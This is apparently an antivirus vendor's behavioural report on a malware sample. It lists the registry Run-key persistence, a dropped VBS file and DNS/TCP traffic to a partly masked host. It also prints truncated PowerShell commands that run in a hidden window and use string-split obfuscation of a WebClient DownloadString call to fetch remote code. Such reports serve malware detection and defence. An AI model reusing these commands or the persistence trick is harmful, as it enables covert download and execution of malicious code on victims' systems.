Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'update' = '"%APPDATA%\<File name>.vbs"'
Modifies file system
Creates the following files
- %APPDATA%\<File name>.vbs
Network activity
TCP
- 'th#.#arth.li':443
UDP
- DNS ASK th#.#arth.li
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit $vbs = New-Object -ComObject 'MSScriptControl.ScriptControl';$vbs.Language = 'VBScript';$text='(&(GCM *W-O*)Ne'+'t.We'+'bCl'+'ient).Dow'+'nloa'+'dSt'+'ring(''https://the.earth.li/~sgta...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit $vbs = New-Object -ComObject 'MSScriptControl.ScriptControl';$vbs.Language = 'VBScript';$text='(&(GCM *W-O*)Ne'+'t.We'+'bCl'+'ient).Dow'+'nloa'+'dSt'+'ring(''https://the.earth.li/~sgta...
